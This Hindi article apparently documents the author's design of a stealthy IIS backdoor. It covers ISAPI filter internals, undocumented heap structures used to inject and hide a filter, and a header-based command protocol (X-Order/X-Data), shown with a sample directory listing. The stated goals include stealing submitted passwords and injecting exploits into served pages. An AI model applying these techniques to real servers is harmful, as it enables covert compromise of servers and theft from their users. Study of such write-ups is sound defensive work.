
इस लेख में मैं समझाऊंगा कि कैसे मैंने Microsoft Internet Information Services (IIS) के लिए एक rootkit डिज़ाइन किया। सवाल यह है: एक वेब सर्वर में बैकडोर क्यों?
पहला स्पष्ट लेकिन बेकार उत्तर: क्योंकि हम कर सकते हैं।
ठीक है, चलिए एक और समझदारी भरा उत्तर देते हैं। वेब सर्वर में बैकडोर लगाने का उद्देश्य दोहरा है:
यह हमलावर को ग्राहकों द्वारा भेजे गए डेटा तक पहुँचने की अनुमति देता है। उदाहरण के लिए, यदि वेबसाइट पासवर्ड संरक्षित है, तो हम यह पासवर्ड प्राप्त कर सकते हैं।
यह सर्वर से वेब क्लाइंट को भेजी गई किसी भी चीज़ को तुरंत बैकडोर करने की अनुमति देता है।
यह दूसरा बिंदु विशेष रूप से दिलचस्प है क्योंकि यह हमलावर को वेब पेज का अनुरोध करने वाले वेब ब्राउज़र के अनुसार उचित exploit इंजेक्ट करने, या सर्वर से डाउनलोड की गई निष्पादन योग्य फ़ाइल को संक्रमित करने की अनुमति देता है। IIS बैकडोर
IIS Microsoft का वेब सर्वर है, यह Microsoft की वेब आधारित तकनीकों जैसे OWA का एक महत्वपूर्ण हिस्सा है। पहले संस्करण (Windows NT 3.51 के अंतर्गत IIS 1.0) से लेकर नवीनतम (Windows Server 2008 के अंतर्गत IIS 7.5) तक कई संस्करण जारी किए गए हैं। यह इंटरनेट और कंपनियों के Intranet पर व्यापक रूप से तैनात है। IIS संवर्धन
Microsoft ने डेवलपर्स को IIS में सुविधाएँ जोड़ने में मदद करने के लिए ISAPI (Internet Server Application Programming Interface) नामक एक API परिभाषित किया है। IIS में दो प्रकार के घटक जोड़े जा सकते हैं: एक्सटेंशन या फ़िल्टर। ISAPI एक्सटेंशन
एक्सटेंशन DLL होते हैं जो 3 फ़ंक्शन export करते हैं:
GetExtensionVersion
HttpExtensionProc
TerminateExtension
एक्सटेंशन IIS के अंदर चलने वाले अनुप्रयोग हैं। IIS उन्हें हर बार जरूरत पड़ने पर लोड करता है। एक्सटेंशन किसी अनुरोध की सामग्री तक पहुँचते हैं और क्लाइंट को उत्तर देने के लिए जिम्मेदार होते हैं। उदाहरण के लिए, यदि कोई क्लाइंट http ://mydomain/myextension पृष्ठ का अनुरोध करता है, जहाँ myextension आपका पंजीकृत एक्सटेंशन है, तो आपके एक्सटेंशन का HttpExtensionProc कॉल किया जाएगा। IIS इसे निम्नलिखित संरचना प्रदान करेगा:
typedef struct _EXTENSION_CONTROL_BLOCK EXTENSION_CONTROL_BLOCK {
DWORD cbSize;
DWORD dwVersion;
HCONN connID;
DWORD dwHttpStatusCode;
char lpszLogData[HSE_LOG_BUFFER_LEN];
LPSTR lpszMethod;
LPSTR lpszQueryString;
LPSTR lpszPathInfo;
LPSTR lpszPathTranslated;
DWORD cbTotalBytes;
DWORD cbAvailable;
LPBYTE lpbData;
LPSTR lpszContentType;
BOOL (WINAPI * GetServerVariable) ();
BOOL (WINAPI * WriteClient) ();
BOOL (WINAPI * ReadClient) ();
BOOL (WINAPI * ServerSupportFunction) ();
} EXTENSION_CONTROL_BLOCK;
इस तरह HttpExtensionProc ReadClient और WriteClient कॉलबैक फ़ंक्शन का उपयोग करके अनुरोध से डेटा पढ़ सकता है, उसे संसाधित कर सकता है और प्रतिक्रिया वापस भेज सकता है। ISAPI फ़िल्टर
फ़िल्टर DLL होते हैं जो 3 फ़ंक्शन export करते हैं:
GetFilterVersion
HttpFilterProc
TerminateFilter
फ़िल्टर कई घटनाओं (events) के लिए पंजीकृत होते हैं, अनुरोध के जीवनकाल के दौरान हर बार कोई घटना घटित होने पर HttpFilterProc को कॉल किया जाता है। यहाँ उन घटनाओं की एक अधूरी सूची है जिनके लिए एक फ़िल्टर पंजीकृत हो सकता है:
SF_NOTIFY_PREPROC_HEADERS: तब होता है जब IIS हेडर का प्रीप्रोसेसिंग पूरा कर लेता है।
SF_NOTIFY_SEND_RESPONSE: तब होता है जब IIS क्लाइंट को प्रतिक्रिया भेजने के लिए तैयार होता है।
SF_NOTIFY_END_OF_REQUEST: तब होता है जब किसी अनुरोध का जीवनचक्र समाप्त हो जाता है।
SF_NOTIFY_LOG: तब होता है जब IIS वर्तमान अनुरोध के लिए लॉग लिखने से पहले।
जिस घटना के लिए एक फ़िल्टर पंजीकृत है, उसके घटित होने पर, फ़िल्टर का HttpFilterProc कॉल किया जाता है और घटना के प्रकार के आधार पर उसे एक संरचना प्रदान की जाती है। उदाहरण के लिए, यदि यह SF_NOTIFY_END_OF_REQUEST घटना है, तो IIS द्वारा फ़िल्टर को निम्नलिखित संरचना पारित की जाती है:
typedef struct _HTTP_FILTER_LOG HTTP_FILTER_LOG {
const char * pszClientHostName;
const char * pszClientUserName;
const char * pszServerName;
const char * pszOperation;
const char * pszTarget;
const char * pszParameters;
DWORD dwHttpStatus;
DWORD dwWin32Status;
DWORD dwBytesSent;
DWORD dwBytesRecvd;
DWORD msTimeForProcessing;
} HTTP_FILTER_LOG, * PHTTP_FILTER_LOG;
इस संरचना में वह सभी आवश्यक जानकारी होती है जो एक फ़िल्टर को आने वाले अनुरोध को लॉग करने के लिए चाहिए। एक्सटेंशन और फ़िल्टर अवलोकन
निम्नलिखित योजना एक सामान्य प्रस्तुति है कि क्लाइंट के अनुरोध द्वारा फ़िल्टर और एक्सटेंशन तक कैसे पहुँचा जाता है:
Schemaextfilts.png छिपा हुआ फ़िल्टर
अपना IIS बैकडोर लागू करने के लिए मैंने एक्सटेंशन तंत्र के बजाय IIS फ़िल्टर तंत्र का उपयोग करने का निर्णय लिया है। मुख्यतः गोपनीयता (stealth) कारणों से। वास्तव में, एक एक्सटेंशन तक पहुँचने के लिए क्लाइंट को इस तरह के URL के लिए अनुरोध करना होता है: http ://mydomain/myextension। मेरा एक्सटेंशन तब सर्वर लॉग में दिखाई देगा। यदि मैं एक फ़िल्टर का उपयोग करता हूँ, तो इसे सर्वर पर किसी भी मान्य पृष्ठ को कॉल करके पहुँचा जा सकता है: यह एक अधिक सामान्य व्यवहार है।
IIS कॉन्फ़िगरेशन पैनल (IIS कॉन्फ़िगरेशन फ़ाइलों के अंदर) के माध्यम से एक फ़िल्टर पंजीकृत करना संभव है, लेकिन यह गोपनीयता के लिहाज से बिल्कुल सही नहीं है। मैंने फ़िल्टर को IIS फ़िल्टर लिंक्ड सूची में मैन्युअल रूप से जोड़ने का निर्णय लिया। ऐसा करने के लिए मैं अपनी dll को IIS प्रक्रिया में inject करता हूँ, dll IIS प्रक्रिया के heap को parse करती है और खुद को IIS फ़िल्टर सूची में मैन्युअल रूप से पंजीकृत करती है।
IIS फ़िल्टर सूची को मेमोरी में बनाए रखने के लिए दो प्रकार की संरचनाएँ उपयोग की जाती हैं। पहली निम्नलिखित है:
typedef struct FILTER_LIST {
unsigned int Magic; "FLIS"
unsigned int unknown;
unsigned int NumberOfFilters;
PHTTP_FILTER_DLL * FilterPointerArray;
unsigned int unknown2[10];
unsigned int Flags1Sum;
unsigned int * Flags1;
unsigned int unknown3[10];
unsigned int Flags2Sum;
unsigned int * Flags2;
} FILTER_LIST , *PFILTER_LIST;
इसके निम्नलिखित सदस्य हैं:
Magic : "FLIS" मान वाला एक magic DWORD।
NumberOfFilters : फ़िल्टर की संख्या।
FilterPointerArray : फ़िल्टर की एक सरणी।
Flags1Sum : सभी फ़िल्टरों के लिए पंजीकृत घटनाओं का (OR लॉजिक ऑपरेंड के साथ) योग।
Flags1 : प्रत्येक फ़िल्टर के लिए पंजीकृत फ़्लैग्स की एक सरणी।
प्रत्येक फ़िल्टर की अपनी HTTP_FILTER_DLL संरचना होती है, जो इस प्रकार है:
struct _HTTP_FILTER_DLL{
unsigned int Magic ; "FDLL"
PHTTP_FILTER_DLL pPrevious;
PHTTP_FILTER_DLL pNext;
void * ModuleBaseAddress;
void * HttpFilterProc;
void * GetFilterVersion;
void * TerminateFilter;
unsigned int unknown1;
unsigned int AcceptFlags1;
unsigned int AcceptFlags2;
unsigned int unknown2;
char * DllPath;
unsigned intunknown3;
unsigned intunknown4;
char String[DLL_PATH_SIZE];
unsigned int unknown5;
} HTTP_FILTER_DLL, *PHTTP_FILTER_DLL;
Magic : "FDLL" मान वाला एक magic DWORD।
pPrevious, pNext : सूची में पिछली और अगली HTTP_FILTER_DLL संरचना के पॉइंटर्स।
ModuleBaseAddress: फ़िल्टर dll का आधार पता।
HttpFilterProc : फ़िल्टर के HttpFilterProc फ़ंक्शन का पता।
AcceptFlags1: फ़िल्टर के लिए पंजीकृत घटनाओं का (OR लॉजिक ऑपरेंड के साथ) योग।
निम्नलिखित योजना दर्शाती है कि IIS फ़िल्टर मेमोरी में कैसे व्यवस्थित होते हैं:
SchemaListNoHidFilt.png
इस मेमोरी संगठन को जानकर मेमोरी में एक नया छिपा हुआ फ़िल्टर जोड़ना आसान है। ऐसा करने के लिए हमें heap में FILTER_LIST का उदाहरण खोजना होगा। मिल जाने पर, हमें बस HTTP_FILTER_DLL सूची में एक नई HTTP_FILTER_DLL संरचना जोड़नी होती है और FILTER_LIST संरचना की फ़िल्टर सरणी में इसका संदर्भ जोड़ना होता है:
SchemaListHidFilt.png बैकडोर कार्यान्वयन
बैकडोर एक बहुत ही सरल सिद्धांत पर काम करता है। क्लाइंट विशेष हेडर के साथ अनुरोध भेजते हैं जिनमें आदेश होते हैं और फ़िल्टर आउटगोइंग प्रतिक्रिया में डेटा जोड़कर उत्तर देता है। फ़िल्टर SF_NOTIFY_PREPROC_HEADERS और SF_NOTIFY_SEND_RAW_DATA घटनाओं के लिए पंजीकृत है। जब कोई आने वाला अनुरोध आता है, तो फ़िल्टर जाँचता है कि अनुरोध में X-ORDER और/या X-DATA हेडर मौजूद हैं या नहीं, यदि हाँ और यदि आदेश ज्ञात है तो वह इसे निष्पादित करता है और उत्तर देता है। चूँकि हमारा फ़िल्टर सर्वर के किसी भी पृष्ठ के लिए सूचित होता है, मैं अपने फ़िल्टर से संवाद करने के लिए सर्वर पर किसी भी पृष्ठ का अनुरोध कर सकता हूँ। मुझे बस एक नियमित अनुरोध में विशेष हेडर जोड़ने की आवश्यकता है।
यदि मैं बिना हेडर जोड़े एक साधारण पृष्ठ (यहाँ /pwet.htm) का अनुरोध करता हूँ तो IIS का सामान्य व्यवहार होता है, यानी IIS प्रतिक्रिया इस प्रकार है:
GET /pwet.htm HTTP/1.1
Host: 192.168.73.143
Accept-Encoding: identity
Connection: Keep-Alive
Content-type: application/x-www-form-urlencoded
Accept: */*
HTTP/1.1 200 OK
Date: Thu, 03 Feb 2011 12:16:50 GMT
Content-Length: 31
Content-Type: text/html
Last-Modified: Mon, 21 Jun 2010 11:53:19 GMT
Accept-Ranges: bytes
ETag: "963779573811cb1:994"
Server: Microsoft-IIS/6.0
<html>
Pouetpouet
</html>
लेकिन यदि मैं उसी पृष्ठ का अनुरोध करता हूँ और एक आदेश जोड़ता हूँ (यहाँ आदेश base64("C:") का "ListDir" है), तो मुझे निम्नलिखित परिणाम मिलता है:
GET /pwet.htm HTTP/1.1
Host: 192.168.73.143
Accept-Encoding: identity
X-Order: ListDir
Connection: Keep-Alive
X-Data: Qzpc
Content-type: application/x-www-form-urlencoded
Accept: */*
HTTP/1.1 200 OK
Date: Thu, 03 Feb 2011 12:16:57 GMT
Content-Length: 353
X-Resp: OK
Content-Type: text/html
Last-Modified: Mon, 21 Jun 2010 11:53:19 GMT
Accept-Ranges: bytes
ETag: "963779573811cb1:994"
Server: Microsoft-IIS/6.0
<html>
Pouetpouet
</html>
[F] C:\AUTOEXEC.BAT
[F] C:\boot.ini
[F] C:\bootfont.bin
[F] C:\CONFIG.SYS
[D] C:\Documents and Settings
[D] C:\Inetpub
[F] C:\IO.SYS
[F] C:\MSDOS.SYS
[F] C:\NTDETECT.COM
[F] C:\ntldr
[F] C:\pagefile.sys
[D] C:\Program Files
[D] C:\System Volume Information
[D] C:\WINDOWS
[D] C:\wmpub
तो, IIS वेब सर्वर में बैकडोर लगाना इतना मुश्किल नहीं है और यह आपको बहुत सारे अवसर दे सकता है...